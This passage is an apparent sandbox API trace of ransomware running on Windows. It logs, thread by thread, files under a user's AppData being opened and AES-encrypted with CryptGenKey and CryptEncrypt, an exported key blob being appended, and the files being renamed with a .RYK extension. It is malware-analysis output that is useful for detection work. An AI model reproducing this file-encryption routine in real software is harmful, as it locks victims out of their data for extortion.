	[0209.993] WriteFile (in: hFile=0x5e8, lpBuffer=0x8daf650*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8daf5d0, lpOverlapped=0x0 | out: lpBuffer=0x8daf650*, lpNumberOfBytesWritten=0x8daf5d0*=0x10c, lpOverlapped=0x0) returned 1
	[0209.993] CloseHandle (hObject=0x5e8) returned 1
	[0209.999] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0209.999] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1965
	os_tid = 0x2468

	[0210.192] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb", dwFileAttributes=0x80) returned 0
	[0210.192] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.192] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1966
	os_tid = 0x246c

	[0210.194] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb", dwFileAttributes=0x80) returned 0
	[0210.194] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.194] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1967
	os_tid = 0x2470

	[0210.196] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf", dwFileAttributes=0x80) returned 0
	[0210.196] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.196] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\mapisvc.inf.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\mapisvc.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1968
	os_tid = 0x2474

	[0210.305] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi", dwFileAttributes=0x80) returned 0
	[0210.305] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.305] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Outlook.sharing.xml.obi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\outlook.sharing.xml.obi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1992
	os_tid = 0x24e0

	[0210.510] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat", dwFileAttributes=0x80) returned 0
	[0210.510] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.511] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\content14.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\content14.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1993
	os_tid = 0x24e4

	[0210.512] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat", dwFileAttributes=0x80) returned 1
	[0210.513] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604
	[0210.514] GetFileSizeEx (in: hFile=0x604, lpFileSize=0x8f4f7f8 | out: lpFileSize=0x8f4f7f8*=128000) returned 1
	[0210.514] GetFileSizeEx (in: hFile=0x604, lpFileSize=0x8f4f808 | out: lpFileSize=0x8f4f808*=128000) returned 1
	[0210.514] SetFilePointerEx (in: hFile=0x604, liDistanceToMove=0x1f2de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0210.514] ReadFile (in: hFile=0x604, lpBuffer=0x8f4f850, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f4f7c0, lpOverlapped=0x0 | out: lpBuffer=0x8f4f850*, lpNumberOfBytesRead=0x8f4f7c0*=0x19, lpOverlapped=0x0) returned 1
	[0210.605] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0210.605] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8f4f7d8 | out: phKey=0x8f4f7d8*=0x2b9140) returned 1
	[0210.605] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0210.606] ReadFile (in: hFile=0x604, lpBuffer=0x2980000, nNumberOfBytesToRead=0x1f400, lpNumberOfBytesRead=0x8f4f7e4, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8f4f7e4*=0x1f400, lpOverlapped=0x0) returned 1
	[0210.802] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f4f7e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f4f7e0*=0xf4250) returned 1
	[0210.803] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8f4f7e8*=0x1f400, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8f4f7e8*=0x1f410) returned 1
	[0210.804] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0210.804] WriteFile (in: hFile=0x604, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x1f410, lpNumberOfBytesWritten=0x8f4f7e4, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8f4f7e4*=0x1f410, lpOverlapped=0x0) returned 1
	[0210.805] WriteFile (in: hFile=0x604, lpBuffer=0x8f4f810*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f4f7f0, lpOverlapped=0x0 | out: lpBuffer=0x8f4f810*, lpNumberOfBytesWritten=0x8f4f7f0*=0x6, lpOverlapped=0x0) returned 1
	[0210.805] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f4f800 | out: pbData=0x0*, pdwDataLen=0x8f4f800*=0x10c) returned 1
	[0210.805] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f4f870, pdwDataLen=0x8f4f800 | out: pbData=0x8f4f870*, pdwDataLen=0x8f4f800*=0x10c) returned 1
	[0210.805] WriteFile (in: hFile=0x604, lpBuffer=0x8f4f870*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f4f7f0, lpOverlapped=0x0 | out: lpBuffer=0x8f4f870*, lpNumberOfBytesWritten=0x8f4f7f0*=0x10c, lpOverlapped=0x0) returned 1
	[0210.806] CloseHandle (hObject=0x604) returned 1
	[0210.808] CryptDestroyKey (hKey=0x2b9140) returned 1
	[0210.808] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\thumbs.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\thumbs.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1994
	os_tid = 0x24e8


Thread:
	id = 1999
	os_tid = 0x2500

	[0210.991] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", dwFileAttributes=0x80) returned 0
	[0210.991] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.991] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.991] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2000
	os_tid = 0x2504

	[0211.390] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", dwFileAttributes=0x80) returned 0
	[0211.390] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.390] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.391] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2014
	os_tid = 0x2540

	[0211.392] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", dwFileAttributes=0x80) returned 0
	[0211.393] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.393] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2015
	os_tid = 0x2544

	[0211.395] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk", dwFileAttributes=0x80) returned 0
	[0211.395] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.395] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.chk.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.chk.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2016
	os_tid = 0x2548

	[0211.397] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log", dwFileAttributes=0x80) returned 0
	[0211.397] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
